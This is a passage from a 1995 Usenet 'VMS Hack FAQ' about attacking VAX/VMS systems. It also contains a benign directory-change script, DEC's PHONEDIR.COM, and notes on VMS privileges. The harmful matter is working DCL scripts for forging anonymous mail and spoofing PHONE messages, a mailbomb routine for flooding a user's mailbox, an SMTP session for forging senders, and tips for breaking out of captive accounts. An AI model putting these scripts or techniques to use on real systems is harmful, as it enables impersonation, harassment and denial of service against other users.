  837. $    dispct = dispct + 1
  838. $    dirct  = dirct  + 1
  839. $    on severe then $ userprot = "No Priv"
  840. $    userprot = f$file_attributes(userfile,"PRO")
  841. $    if userprot .nes. "No Priv" then userprot = " "
  842. $    userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"
  843. $    userprot'dirct' = userprot
  844. $    lengthflag = (f$length(userfile'dirct') .gt. 18)
  845. $    if lengthflag then write sys$output -
  846.     f$fao("  !3SL   !34AS  ", dirct, userfile'dirct'), userprot'dirct'
  847. $    if (.not. lengthflag) then write sys$output -
  848.     f$fao("  !3SL   !20AS  ", dirct, userfile'dirct'), userprot'dirct'
  849. $    if (dispct .lt. 8) then goto DIRLOOP
  850. $    dirct  = dirct  + 1
  851. $    userfile'dirct' = ""
  852. $    dirct  = dirct  + 1
  853. $    userfile'dirct' = ""
  854. $    if pauseflag then goto DIRMENU
  855. $    dispct = 0
  856. $    goto DIRLOOP
  857. $!
  858. $  DIRMENU:
  859. $  write sys$output " "
  860. $  if (userfile .eqs. "") then goto DIRMENU2
  861. $     write sys$output "    M   More subdirectories"
  862. $  if pauseflag then -
  863. $     write sys$output "    N   More subdirectories/No pause"
  864. $!
  865. $  DIRMENU2:
  866. $     write sys$output "    R   Re-Display subdirectories"
  867. $     write sys$output "    Q   Quit (default)"
  868. $
  869. $  DIRINQUIRE:
  870. $  write sys$output " "
  871. $  inquire dirchoice "  Select One"
  872. $  write sys$output " "
  873. $!
  874. $  if (dirchoice .gt. 0)    .and. -
  875.       (dirchoice .le. dirct) then goto DIRCASEDIGIT
  876. $  dirchoice = f$edit(dirchoice,"UPCASE")
  877. $  if (dirchoice .eqs. "")  .or. -
  878.       (dirchoice .eqs. "Q")  then goto DIRCASEBLANK
  879. $  if (dirchoice .eqs. "M") .or. -
  880.       (dirchoice .eqs. "N")  then goto DIRCASEMORE
  881. $  if (dirchoice .eqs. "R")  then goto DIRCASERED
  882. $!
  883. $  DIRCASERROR:
  884. $  if (dirct .eq. 1)   then write sys$output -
  885.       "  Select 1 to change to the ", userfile1, " subdirectory. "
  886. $  revdirct = dirct
  887. $  if (dispct .eq. 8) then revdirct = revdirct - 2
  888. $  if (dirct .gt. 1)   then write sys$output -
  889.       "  Valid subdirectory selections are 1 through ", revdirct, " (Octal)."
  890. $  goto DIRINQUIRE
  891. $!
  892. $  DIRCASEDIGIT:
  893. $  if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR
  894. $  ndir = userfile'dirchoice'
  895. $  goto DIREND
  896. $!
  897. $  DIRCASEBLANK:
  898. $  write sys$output "  Subdirectory not changed."
  899. $  write sys$output " "
  900. $  goto DIREND
  901. $!
  902. $  DIRCASEMORE:
  903. $  dispct = 0
  904. $  if (dirchoice .eqs. "N") then pauseflag = 0
  905. $  if (userfile .nes. "")   then goto DIRLOOP
  906. $  write sys$output "  No more subdirectories to display."
  907. $  goto DIRINQUIRE
  908. $!
  909. $  DIRCASERED:
  910. $  dispct = 1
  911. $  DISPLOOP:
  912. $     if (userfile'dispct' .eqs "") then goto DISPDONT
  913. $     lengthflag = (f$length(userfile'dispct') .gt. 18)
  914. $     if lengthflag then write sys$output -
  915.      f$fao("  !3SL   !34AS  ", dispct, userfile'dispct'), userprot'dispct'
  916. $     if (.not. lengthflag) then write sys$output -
  917.      f$fao("  !3SL   !20AS  ", dispct, userfile'dispct'), userprot'dispct'
  918. $     DISPDONT:
  919. $     dispct = dispct + 1
  920. $     if (dispct .le. dirct) then goto DISPLOOP
  921. $  goto DIRMENU
  922. $!
  923. $  DIRNONE:
  924. $  write sys$output "No subdirectories to choose, or no directory privileges."
  925. $  write sys$output " "
  926. $  goto DIREND
  927. $!
  928. $  DIREND:
  929. $  set message 'error_message'
  930. $  on control_y then exit
  931. $  on control_c then exit
  932. $  if (ndir .eqs. "*") then goto DISPLAY
  933. $  goto PARSE
  934. $!
  935. $!-Help-----------------------------------------------------------------------
  936. $!
  937. $  HELP:
  938. $  type sys$input
  939.  
  940.            CD.COM  Version 6  VMS Change Directory Command
  941.  
  942.              Usage:  CD command/directory
  943.  
  944. CD         Display home directory,       CD ..       Change directory to the
  945.        current directory, node.      CD [-]      dir above current dir.
  946.  
  947. CD \       Change directory to your      CD ..sub    Change directory to a
  948. CD HOME    SYS$LOGIN directory.          CD [-.sub]  "sideways" subdirectory.
  949.  
  950. CD dir     Change directory to the       CD *        Display/select the
  951. CD [dir]   [dir] directory.                          available subdirectories.
  952.  
  953. CD .sub    Change directory to the       CD .        Reset current directory.
  954. CD [.sub]  [.sub] subdirectory.          CD ?        Display CD instructions.
  955.  
  956.      CD :== @SYS$LOGIN:CD.COM                 DEFINE SYS$PROMPT "ON"
  957.      To make CD available from                To have the VMS $ prompt
  958.      any directory you change to.             display the current directory.
  959.  
  960.                   By The Mentor
  961. $  goto END
  962.  
  963.  
  964.     Once uploaded,  you should add the following line you your
  965.     LOGIN.COM:
  966.  
  967. $ CD :== @DEVICE:[PATH]CD.COM  ! Replace DEVICE/PATH with user information
  968.  
  969. 8.      "Okay,  where's my .profile"
  970.  
  971.     Easy.  There is none.  VMS startup routines (for personal accounts)
  972.     can be found in the user's home directory under the name 
  973.     "LOGIN.COM". Also check out the system-wide login routine at
  974.     SYS$MANAGER:SYLOGIN.COM.
  975.  
  976. 9.      "I can't seem to get to the DCL prompt"
  977.  
  978.     It is possible to setup "CAPTIVE" and "RESTRICTED" accounts under
  979.     VMS. When setup correctly,  these can be difficult to break out of,
  980.     however, in alot of cases, a simple control-C while the LOGIN.COM
  981.     is executing.  Another method of keeping the LOGIN.COM 
  982.     (or any commands for that fact) is to login with the 
  983.     "/NOCOMMAND" flag.  This flag is placed after your username 
  984.     at the USERNAME prompt,  and will bypass any account startup
  985.     files/commands.    On a correctly setup captive account, 
  986.     this will bomb out.    In the event that this fails,   some
  987.     places slip up by allowing a parent to spawn off other
  988.     processes.  For example,  if the captive account puts you
  989.     into KERMIT, FTP,  or ALL-IN-ONE (Office automation/mail package), 
  990.     it might be able to 'SPAWN' out to DCL or issue DCL commands. This
  991.     can also  be prevented by simply setting up process limitation
  992.     on the account.  
  993.  
  994. 10.     Terminal Spoofing
  995.  
  996.     There are many DEC VT spoofing programs around to find. One can
  997.     even be found on page 32 in the Winter 94-95 issue of 2600: Hook
  998.     by Mr.Bungle.
  999.  
  1000. 11.     User Spoofing
  1001.  
  1002.     Programs such as "SETUSER" and "GLOGIN" are in the public domain
  1003.     for privileged users to operate as other users. 
  1004.  
  1005. 12.     Accounting/Auditing Information
  1006.  
  1007.     Accounting information is kept in the file SYS$MANAGER:ACCOUNTNG.DAT
  1008.     ($ACCOUNTING).
  1009.     A list of auditing options is available for the sys admin ($SET AUDIT).
  1010.     An intrusion database is part of the VMS security scheme
  1011.     ($SHOW INTRUSION).
  1012.     "The Supervisor Series" (as reviewed in the Fall 94 issue of 2600)
  1013.     allows a privileged user to spy on and intervene in another user's
  1014.     on-line activities. It is public domain available at
  1015.     ftp.spc.edu /anonymous/macro32/savesets.
  1016.     There are also short programs out there for a privileged user to look
  1017.     at a user's command buffer.
  1018.  
  1019.          -       VMSmail/SMTP Information     - 
  1020.  
  1021.  
  1022. 1.     It is possible to send fake mail through VMSmail objects. DECNet
  1023.        object logs are produced and readable by sys admins.
  1024.  
  1025. $! To send anonymous or fake messages(except for remote node system admins -
  1026. $! mail server logs) through the MAIL mailbox to any user logged on the NET;
  1027. $! must only have NETMBX privilege
  1028. $null[0,8] = 0
  1029. $remote_node = P1
  1030. $if P1 .eqs. "" then read sys$command remote_node   /prompt="node: "
  1031. $local_user = P2
  1032. $if P2 .eqs. "" then read sys$command local_user    /prompt="local user: "
  1033. $local_user := 'local_user                      ! remove blanks and lowercases
  1034. $real_remote_user = P2
  1035. $if P2 .eqs. "" then -
  1036.   read sys$command real_remote_user /prompt="real remote user: "
  1037. $real_remote_user := 'real_remote_user          ! remove blanks and lowercases
  1038. $remote_user = P3
  1039. $if P3 .eqs. "" then read sys$command remote_user /prompt="remote user: "
  1040. $remote_user := 'remote_user           ! remove blanks and lowercases
  1041. $subject = P4
  1042. $if P4 .eqs. "" then read sys$command subject       /prompt="subject: "
  1043. $filename = P5
  1044. $if P5 .eqs. "" then read sys$command filename      /prompt="file name: "
  1045. $filename := 'filename
  1046. $!
  1047. $open/read/write slave 'remote_node'::"27="
  1048. $write slave "''local_user'"
  1049. $write slave "''real_remote_user'"
  1050. $read slave status
  1051. $write sys$output f$fao("Addressee status is: !XL",f$cvui(0,8,status))
  1052. $write slave null
  1053. $if filename .nes. ""
  1054. $ then
  1055. $  write slave "''remote_user'"
  1056. $  write slave "''subject'"
  1057. $  open/read/error=end_of_file file 'filename'
  1058. $loop:
  1059. $  read/end=end_of_file file record
  1060. $  write slave "''record'"
  1061. $  goto loop
  1062. $else
  1063. $ write slave "To whomever it concerns"
  1064. $ write slave "Demo of using VAXMail protocol"
  1065. $ write slave "This is message line"
  1066. $endif
  1067. $end_of_file:
  1068. $close/nolog file
  1069. $write slave null
  1070. $read slave status
  1071. $write sys$output f$fao("Delivery status is: !XL",f$cvui(0,8,status))
  1072. $close slave
  1073. $exit
  1074.  
  1075.     "I am attempting to send fake mail by connecting to the SMTP port,
  1076. but everytime I issue the 'mail from',  it gives me a 'Mailbox syntax
  1077. incorrect', or 'Bad arguments'.  I try the standard format a *always*
  1078. use,  but it *still* gives me this crap!  What's the problem?"......
  1079.  
  1080.     Of course,  it is possible to send fake mail by connecting to
  1081. the VMS machines SMTP (Simple Mail Transfer Protocol) port (25), 
  1082. however,  VMS "sendmail" routines tend to be a little more picky.  For 
  1083. example,  the session below would *appear* that it should work...
  1084.  
  1085. ------<Start Session>-------
  1086.  
  1087. telnet 6.6.6.6 25
  1088. Type ^] (decimal 29) <CR> to return to NetBlazer
  1089. Trying 6.6.6.10:25...
  1090. Telnet session 0 connected to bogus.add.com
  1091. 220 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service ready at Fri, 6 Jan 1995 
  1092. 6:25:01 -0500 (EST)
  1093. helo
  1094. 250 BOGUS.ADD.COM ; Hello , pleased to meet you.
  1095. mail from: bob@unknown
  1096. 553 Mailbox syntax incorrect
  1097. quit
  1098. 221 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service complete at Fri, 6 Jan 19
  1099. 95 6:25:22 -0500 (EST)
  1100. Telnet session 0 closed: EOF
  1101.  
  1102. -------<End Session>---------
  1103.  
  1104.     As you can see, however,  this is not the case.  Where is problem
  1105. lies is in the fact,  that alot of VMS sendmail routines require "<", and
  1106. ">" around "mail from" and "rcpt to" commands,  and sometimes a address
  1107. (Especially the case with Multinet SMTP,  and Pathway's Wollangong 
  1108. Sendmail).   In order to get a good mailing address to "work",  try 
  1109. "mail from: <bob@bogus.add.com>".   Some VMS SMTP services do not require
  1110. the address,  but in most cases,  the ">" and "<" are required.  The
  1111. same applys with the "rcpt to" command.  You might need to format it 
  1112. the same as the "mail from".  I.E. - "rcpt to: <system>" or "rcpt to:
  1113. <system@bogus.add.com>".   
  1114.  
  1115.  
  1116.  
  1117. 2.     "Can I use my favorite Unix sendmail holes on VMS sendmail?"
  1118.  
  1119.     Don't be silly.  No...  Digital did not believe that sendmail
  1120.     bugs and holes were important enough to port (grin).  (It 
  1121.     has been rumored that one sendmail hole *was* actually ported,  
  1122.     but as of this time,  this has not be verified. 
  1123.  
  1124. 3.      "How can I code a mail bomb routine,  so that I can piss off
  1125.      people really good and eat 'bandwidth'."
  1126.  
  1127.     Like this,  below...  
  1128.  
  1129. $! Simple VMS Mailbomb routine. 
  1130. $! Please be someone human.   Don't do this crap.
  1131. $!
  1132. $ say :== write sys$output
  1133. $ on error then goto err
  1134. $ if p4 .eqs. "" 
  1135. $ then 
  1136. $ say "Mailbomb V1.0                            Coded By The Beaver"
  1137. $ say "1995"
  1138. $ say ""
  1139. $ say "Usage:"
  1140. $ say "MAILBOMB [Msg Subject] [File to bomb with] [Username] [# of Times]"
  1141. $ exit
  1142. $ endif
  1143. $ A=1
  1144. $ loop:
  1145. $ mail/subject='p1' 'p2' 'p3' 
  1146. $ A = A + 1
  1147. $ if A .eqs. p4
  1148. $       then
  1149. $       say "Bomb Is Complete"
  1150. $       exit
  1151. $       endif
  1152. $ goto loop
  1153. $ err:
  1154. $ say "A Error has occured.  Be sure all file are present and correct"
  1155. $ exit
  1156.  
  1157.  
  1158. Path: news.rmii.com!van-bc!news.wimsey.com!news.mindlink.net!rover.ucs.ualberta.ca!news.bc.net!news.uoregon.edu!vixen.cso.uiuc.edu!howland.reston.ans.net!EU.net!sun4nl!xs4all!utopia.hacktic.nl!not-for-mail
  1159. ''From: anon-remailer@utopia.hacktic.nl (Anonymous)
  1160. ''Newsgroups: alt.2600
  1161. ''Subject: VMS Hack FAQ (part 2)
  1162. ''Date: 18 Aug 1995 06:45:29 +0200
  1163. Organization: Hack-Tic International, Inc.
  1164. ''Lines: 1050
  1165. ''Sender: remailer@utopia.hacktic.nl
  1166. Message-ID: <4115t9$fqq@utopia.hacktic.nl>
  1167. NNTP-Posting-Host: utopia.hacktic.nl
  1168. Comments: Hack-Tic may or may not approve of the content of this posting
  1169. Comments: Please report misuse of this automated remailing service to <postmaster@utopia.hacktic.nl>
  1170.  
  1171.              - VAXPhone Information -
  1172.  
  1173. 1.      The phone protocol allows you to send messages.
  1174.     Example follows:
  1175.  
  1176. $! To send anonymous or fake messages(except for remote node system admins -
  1177. $! phone server logs) through the PHONE mailbox to any user logged on the NET,
  1178. $! similar to phone ringing messages broadcast to users' terminals; must only
  1179. $! have NETMBX privilege
  1180. $! Note:
  1181. $! This has the unfortunate side effect of kicking the user off his phone if 
  1182. $! its not a patched version.
  1183. $!
  1184. $ debug = "F"
  1185. $ null_byte[0,8] = 0
  1186. $ true_byte[0,8] = 1
  1187. $ false_byte[0,8] = 0
  1188. $ id_rmt_user[0,8] = 7          !text = id of remote user, status rtn
  1189. $ ring_rmt_user[0,8] = 8        !text = 1 byte, true if first ring, sts rtn
  1190. $ hang_up[0,8] = 9              !link broken, no status
  1191. $ master_busy[0,8] = 10         !when requested to do other functions
  1192. $ master_answer[0,8] = 11       !from another master
  1193. $ master_reject[0,8] = 12       !from another master
  1194. $ slave_exit[0,8] = 13          !command to slave
  1195. $ text[0,8] = 14                !text >= 1 char frag
  1196. $ request_dir[0,8] = 15         !null returned when done
  1197. $ force_third_party[0,8] = 17   !text is id of 3rd party
  1198. $ on_hold[0,8] = 18             !put target on hold
  1199. $ off_hold[0,8] = 19            !take target off hold
  1200. $!
  1201. $ status_unknown = 0    !Unknown problem
  1202. $ status_success = 1    !The operation was completed successfully.
  1203. $ status_isyntax = 2    !Invalid user syntax
  1204. $ status_nocomm = 3     !Slave could not communicate with user
  1205. $ status_missunam = 4   !<node::user> missing user name
  1206. $ status_nopriv = 5     !The slave does not have necessary privileges.
  1207. $ status_noexist = 6    !The specified Target user does not exist.
  1208. $ status_badterm = 7    !The Target's terminal cannot be used by PHONE.
  1209. $ status_logoff = 8     !The Target logged off during the procedure.
  1210. $ status_offhook = 9    !Target phone off hook (e.g., /NOBROADCAST set).
  1211. $!
  1212. $ remote_node = P1
  1213. $ if P1 .eqs. "" then read sys$command remote_node   /prompt="node : "
  1214. $ remote_user = p2
  1215. $ if P2 .eqs. "" then read sys$command remote_user   /prompt="user : "
  1216. $ remote_user := 'remote_user                   ! remove blanks and lowercases
  1217. $ local_user_in = "''P3'"
  1218. $ if P3 .eqs. "" then read sys$command local_user_in /prompt="text : "
  1219. $ local_user = "msg:: " + local_user_in + -
  1220.    "                                                                      " -
  1221.    + null_byte
  1222. $ open/read/write link 'remote_node'::"29="
  1223. $ write link id_rmt_user,local_user,remote_user
  1224. $ read link ans
  1225. $ if f$cvui(0,8,ans) .ne. status_success then goto error
  1226. $       if debug then write sys$output "Link to phone setup"
  1227. $ if local_user_in .eqs. "" then goto exit
  1228. $ write link ring_rmt_user,local_user,true_byte
  1229. $ read link ans
  1230. $ if f$cvui(0,8,ans) .ne. status_success then goto error
  1231. $       if debug then write sys$output "1 ringy-dingy"
  1232. $       count = 1
  1233. $ on control_y then goto exit
  1234. $  goto exit
  1235. $LOOP:
  1236. $ write link ring_rmt_user,local_user,false_byte
  1237. $ read link ans
  1238. $ if f$cvui(0,8,ans) .ne. status_success then goto error
  1239. $       if count .ge. 3 then goto exit
  1240. $       count = count +1
  1241. $       if debug then write sys$output count," ringy-dingies"
  1242. $ goto loop
  1243. $EXIT:
  1244. $ write link slave_exit,local_user
  1245. $ close link
  1246. $       if debug then write sys$output "Link cleared"
  1247. $ exit
  1248. $ERROR:
  1249. $! under development
  1250. $ write sys$output "An error has occured."
  1251. $ close link
  1252. $ exit
  1253.  
  1254. 2.      The phone protocol allows you to get a list of interactive users on
  1255.     a system.
  1256.     From DEC's own archives, example follows:
  1257.  
  1258. $ vfy = f$verify(f$integer(f$logical("debug")) .or. f$integer('debug'+0))
  1259. $ if f$cvui(1,1,'debug'+0) .or. f$cvui(1,1,f$logical("debug")+0) -
  1260.     then write sys$error "File: PHONEDIR.COM, 29-Feb-1984"
  1261. $!++
  1262. $!  PHONEDIR.COM, E2.0 28-Oct-1985
  1263. $!
  1264. $!  COPYRIGHT (c) 1984 By
  1265. $!  DIGITAL EQUIPMENT CORPORATION, Maynard, Massachusetts 01754.
  1266. $!  All Rights Reserved.
  1267. $!
  1268. $!  This software is furnished without license and may be used and  copied
  1269. $!  only with the inclusion of the above copyright notice. No title to and
  1270. $!  ownership of the software is hereby transferred.
  1271. $!
  1272. $!  The information in this software is subject to change  without  notice
  1273. $!  and  should  not  be  construed as  a commitment by Digital  Equipment
  1274. $!  Corporation.
  1275. $!
  1276. $!  Digital  assumes  no responsibility for the use or reliability of this
  1277. $!  software.
  1278. $!--
  1279. $!++
  1280. $!  Author: SWM,  29-Feb-84,  PARROT::SWM
  1281. $!
  1282. $!  Edited:
  1283. $!    23-Nov-84 SWM, User lookup, V3 compatablility, Psthru capability.
  1284. $!    24-Nov-84 DC, Added logical name translation.
  1285. $!    30-Nov-84 DC, '_' overrides logical, infn loop check.
  1286. $!    27-Oct-85 SWM, Protocol fix, pipelining, clean up code.
  1287. $!
  1288. $!  Abstract:
  1289. $!    Take a directory of users across network via phone protocol.
  1290. $!
  1291. $!  Inputs: P1 = Node:: (or Node::Node::...) to get user list from;
  1292. $!    or Node::User to check on.  Remote user can be specified as
  1293. $!    separate parameter P2.  Double colon optional if single node.
  1294. $!
  1295. $!--
  1296. $INITIALIZE:
  1297. $ on control_y then goto close
  1298. $ set noon
  1299. $ v4 = "true"
  1300. $ if f$extr(0,2,f$getsyi("version")) .eqs. "V3" then v4 = "false"
  1301. $!$ error_status = %x1001C002
  1302. $ null[0,8] = 0
  1303. $!$ if v4 then old_msg = f$envi("message")
  1304. $!$ set message /nofacility/noseverity/noidentification/notext
  1305. $!
  1306. $ask_node_name:
  1307. $ if p1 .eqs. "" then read/end=exit/error=exit sys$command p1 /prompt="Node? "
  1308. $ if p1 .eqs. "" then goto exit
  1309. $!
  1310. $! allow override of node::user logical names
  1311. $ sanity_check = 0
  1312. $log_name_loop:
  1313. $ underscore_found = f$locate("_",p1) .eq. 0
  1314. $ if underscore_found then goto got_node_name
  1315. $ if f$logi(p1) .eqs. "" then goto got_node_name
  1316. $ p1 = f$logi(p1)
  1317. $ sanity_check = sanity_check + 1
  1318. $ if sanity_check .le. 64 then goto log_name_loop
  1319. $ goto error
  1320. $!
  1321. $got_node_name:
  1322. $! add username to node string if specified as separate parameter
  1323. $ if p2 .nes. "" then -
  1324.    if f$extr(f$leng(p1)-2,2,p1) .eqs. "::" then p1 = f$extr(0,f$leng(p1)-2,p1)
  1325. $ if p2 .nes. "" then p1 = p1 + "::" + p2
  1326. $! check if single node specified without dbbl colon.
  1327. $ if p2 .eqs. "" then -
  1328.     if f$parse(p1,,,"node") .eqs. "" then p1 = p1 + "::"
  1329. $!-    if f$extr(f$leng(p1)-2,2,p1) .nes. "::" then p1 = p1 + "::"
  1330. $!
  1331. $ if v4 then p1 = f$edit(p1,"trim,upcase,uncomment")
  1332. $ if .not. v4 then p1 := 'p1'
  1333. $ remote_user_name = f$parse(p1,,,"name")
  1334. $ node = f$extr(0,f$leng(p1)-f$leng(remote_user_name),p1)
  1335. $ if node .eqs. "" then node = f$logi("sys$node")
  1336. $! commented out doesn't work if access ctrl (f$parse hides password).
  1337. $!$ remote_user = node - f$parse(f$extr(0,f$leng(node)-2,node),,,"node") -
  1338. $!-    + remote_user_name       ! remove any psthru node names...
  1339. $!
  1340. $ sanity_check = 0
  1341. $ temp = node
  1342. $ node_string = ""
  1343. $! loop to find name of destination node for use in phone protocol...
  1344. $dest_node_loop:
  1345. $ loc = f$loca("::",temp)
  1346. $ node_string = node_string + f$parse(f$extr(0,loc+2,temp),,,"node")
  1347. $! commented out for alternate node_string display if using access ctrl.
  1348. $!$ node_string = node_string + f$extr(0,loc,temp)
  1349. $!$ node_string = f$extr(0,f$loca("""",node_string),node_string) + "::"
  1350. $ remote_user = f$extr(0,loc,temp)                      ! last node
  1351. $ remote_user = f$extr(0,f$loca("""",remote_user),remote_user) ! minus a/c.
  1352. $ temp = f$extr(loc+2,999,temp)
  1353. $ sanity_check = sanity_check + 1
  1354. $ if f$loca("::",temp) .ne. f$leng(temp) .and. sanity_check .lt. 32 -
  1355.     then goto dest_node_loop
  1356. $ remote_user = remote_user + "::" + remote_user_name
  1357. $!
  1358. $ if v4 then local_user = f$logi("sys$node") + -
  1359.     f$edit(f$getjpi("","pid"),"trim,upcase")
  1360. $ if .not. v4 then local_user := 'f$logi("sys$node")''f$getjpi("","pid")'
  1361. $ local_user = local_user - "_" + null                  ! asciz string
  1362. $!
  1363. $CREATE_LINK:
  1364. $! noon is set so display error message
  1365. $ open/read/write slave 'node'"29="
  1366. $ save_status = $status
  1367. $!$ if save_status .eq. error_status then goto unreachable
  1368. $ if .not. save_status then goto exit
  1369. $!
  1370. $ if remote_user_name .eqs. "" then goto dir_function
  1371. $LOCATE_FUNCTION:
  1372. $ message[0,8] = 7                                      ! ID remote user
  1373. $ message = message + local_user + remote_user
  1374. $ write/error=error slave message
  1375. $ read/end=error/error=error slave record
  1376. $ if f$cvui(0,8,record) .eq. 1 then -
  1377.     write sys$output "''remote_user' is currently available."
  1378. $! Note: These response values, while defined in the phone protocol do
  1379. $!   not seem to be supported in response to the ID function for VAXPhone.
  1380. $ if f$cvui(0,8,record) .eq. 6 then -
  1381.     write sys$output "''remote_user' is not available."
  1382. $ if f$cvui(0,8,record) .eq. 7 then -
  1383.     write sys$output "''remote_user''s phone is not usable by phone."
  1384. $ if f$cvui(0,8,record) .eq. 9 then -
  1385.     write sys$output "''remote_user''s phone is off hook (/NOBROADCAST)."
  1386. $ if (f$cvui(0,8,record) .ne. 1) .and. (f$cvui(0,8,record) .ne. 6) .and. -
  1387.     (f$cvui(0,8,record) .ne. 7) .and. (f$cvui(0,8,record) .ne. 9) then -
  1388.    write sys$output "''f$fao("Bad status received = !2ZB.",f$cvui(0,8,record))
  1389. $ exit_command[0,8] = 13
  1390. $ write/error=error slave exit_command,local_user
  1391. $ goto close
  1392. $!
  1393. $DIR_FUNCTION:
  1394. $ message[0,8] = 15                                     ! Request directory
  1395. $ message = message + local_user
  1396. $ write/error=error slave message
  1397. $ write/error=error slave message                       ! Pipeline requests!!!
  1398. $ write/error=error slave message
  1399. $ write/error=error slave message
  1400. $! Pipelining limited to 2 extra requests max to keep procedure from hanging.
  1401. $!   Worst case limit is (DECnet_Pipeline_Quota/DECnet_Buffer_Size) * 2 + 1
  1402. $print_header:
  1403. $ count = 0
  1404. $ write sys$output ""
  1405. $ write sys$output "    Directory of Users on Node ",node_string
  1406. $ write sys$output ""
  1407. $! skip pipeline hack code as RMS timeouts don't with DECnet yet.
  1408. $ GOTO LOOP
  1409. $!$ if .not. v4 then write/error=error slave message
  1410. $ if .not. v4 then goto loop
  1411. $! Put up to 8 requests in logical link pipe...
  1412. $ sanity_check = 3                                      ! number msgs in pipe.
  1413. $pipeline_hack:
  1414. $ sanity_check = sanity_check + 1
  1415. $ if sanity_check .ge. 8 then goto loop
  1416. $ write/error=error slave message
  1417. $ read/end=eof/error=pipeline_hack/timeout=0 slave record
  1418. $ goto loop_alt_entry
  1419. $!
  1420. $loop:
  1421. $ read/end=eof/error=error slave record
  1422. $loop_alt_entry:
  1423. $ if record .eqs. "" then goto done
  1424. $ write/error=error slave message
  1425. $ write sys$output record
  1426. $ count = count + 1
  1427. $ goto loop
  1428. $eof:
  1429. $! rsx-11 phone slave closes link after directory function.
  1430. $ rsx = "  (System is RSX)"
  1431. $done:
  1432. $ write sys$output ""
  1433. $ write sys$output "Total number of users = ''f$string(count)'''rsx'"
  1434. $! don't tell slave to exit if link already closed.
  1435. $ if "''rsx'" .nes. "" then goto close
  1436. $ exit_command[0,8] = 13
  1437. $ exit_command = exit_command + local_user
  1438. $ write slave exit_command
  1439. $eof_loop:
  1440. $ GOTO CLOSE                                            ! Hack!!!
  1441. $! Note: Should finish up properly by reading all responses.
  1442. $ read/end=close/error=error slave dummy
  1443. $!$ write sys$output dummy                              ! show empty data
  1444. $ goto eof_loop
  1445. $!
  1446. $unreachable:                                           ! this removed...
  1447. $! this section left in for possible enhanced error checking...
  1448. $!$ write sys$output ""
  1449. $!$ write sys$output "Node unreachable, unknown, or object unknown."
  1450. $ goto exit
  1451. $ERROR:
  1452. $ write sys$error "PHONEDIR-E-BugCheck, An error has occured."
  1453. $close:
  1454. $! close the link no matter what.
  1455. $ close /error=exit slave
  1456. $exit:
  1457. $!$ set message 'old_msg'
  1458. $ if vfy then set verify                                ! 'f$verify(0)'
  1459. $ exit
  1460.           
  1461.     BTW: There is a modified phone program available via
  1462.          anonymous ftp which gives increased functionality
  1463.          with commands such as 'reject' and 'transcribe'
  1464.           
  1465.           
  1466.           -      User/Image Privilege Information     -
  1467.  
  1468.  
  1469. 1.      "How are user privileges setup?"
  1470.  
  1471.     User privileges are handled in a completely different manner
  1472.     than Unix handles them.  With Unix,  you have either 
  1473.  
  1474.     a> all priveleges (IE - "root") 
  1475.     b> standard user 
  1476.  
  1477.     VMS is a touch different.
  1478.     
  1479.     For example,  let's say you have a field engineer that needs
  1480.     a standard user account (I.E. - be able to send/receive mail, 
  1481.     do standard DCL commands.. Normal TMPMBX, NETMBX,  and
  1482.     all that),  but in order to do his job,  he needs to run the
  1483.     online VMS diagnostics software (which is a privileged operation)
  1484.     When you add the user,  you can grant him "DIAGNOSE" privledges,
  1485.     and normal user privileges,  and he will be able do regular users
  1486.     commands and run diagnostics. 
  1487.  
  1488.     What this means is that you can grant certain privileged 
  1489.     function to certain users,  rather than giving the user 
  1490.     "the whole system".  
  1491.  
  1492.     This user we added would only have access to privileges that deal
  1493.     with the diagnostic software.  For example,  he could not add
  1494.     users (via "AUTHORIZE" or modify the SYSUAF.DAT).  
  1495.  
  1496. "Privileges restrict the user of certain system functions to processes
  1497. created on the behalf of authorized users.  These restrictions protect 
  1498. the integrity of the operating system code,  data,  and resources and
  1499. thus,  the integrity of user services." 
  1500.  
  1501. "Users cannot execute an image that requires a privilege they do not 
  1502. possess,  unless the image is installed as a known image with the 
  1503. privilege in question or the image runs within a protected subsystem"
  1504.  
  1505.     Privileges can also be installed on images,  so that when that 
  1506.     image is executed,  that images process get the permissions 
  1507.     that it has been granted (this does not mean that the user gets
  1508.     the privileges,  but rather,  just the process running this
  1509.     task)
  1510.  
  1511.             - OpenVMS VAX Guide To System Security
  1512.               (6.0 manual). 
  1513.  
  1514.     Below is a listing of privileges,  and a brief description.
  1515.  
  1516.  
  1517. ACNT      -     Lets a process use the RUN (Process) command to create
  1518.         Process ($CREPRC) system service to create processes
  1519.         in which accounting is disabled.  A process in which
  1520.         account is disabled is on whose resources are not logged. 
  1521.  
  1522. ALLSPOOL  -     This privlege lets user's process allocate a spooled
  1523.         device by executing the Allocate Device ($ALLOC) system
  1524.         service or by users the DCL command "ALLOCATE"
  1525.  
  1526. ALTPRI    -     Allows the user's process to 
  1527.         1.  Increase its own priority
  1528.         2.  Set the base priority of a target process
  1529.         3.  Change priority of its batch or print jobs. 
  1530.  
  1531. AUDIT     -     Allows software to append to audit records to the system
  1532.         security audit log file.   As a result,  this privilege
  1533.         permits the logging of events that appear to come from the
  1534.         operating system
  1535.  
  1536. BUGCHK    -     Allows the process to make bugcheck error log entries
  1537.         from users,  supervisor, or compatibility mode or to send
  1538.         messages to the system error logger. 
  1539.  
  1540. BYPASS    -     Allows the user's process full access to all protected
  1541.         objects,  totally bypassing UIC-based protection, 
  1542.         ACL protection (Access Control List) and mandatory 
  1543.         access controls.   Users with this privilege can 
  1544.         modify authorization records (SYSUAF.DAT,  where
  1545.         usernames/passwords are stored),  rights identifiers
  1546.         (RIGHTSLIST.DAT), DECNet object passwords and accounts
  1547.         (NETOBJECT.DAT),  and unlimited file access.
  1548.  
  1549. CMEXEC    -     Allows the user's process to execute the Change Mode to
  1550.         Executive system service.
  1551.  
  1552. CMKRNL    -     Allows the user's process to execute the Change Mode to
  1553.         Kernel system services.   These privileges allow 
  1554.         things like modify a multiprocessor operation (START/
  1555.         CPU,  STOP/CPU type commands),  modifying the system
  1556.         rights list (SET RIGHTS/ATTRIBUTE), change a processes
  1557.         UIC (SET UIC),  and other functions.
  1558.  
  1559. DETACH    -     Processes can create detached processes that have there
  1560.         own UIC without the DETACH privilege,  provided the 
  1561.         processes wants to specify a different UIC for the 
  1562.         
  1563.  
  1564. DIAGNOSE  -     Lets a process run online diagnostic programs and intercept
  1565.         and copy all messages written to the error log file. 
  1566.  
  1567. DOWNGRADE -     Permits a process to manipulate mandatory access controls.
  1568.  
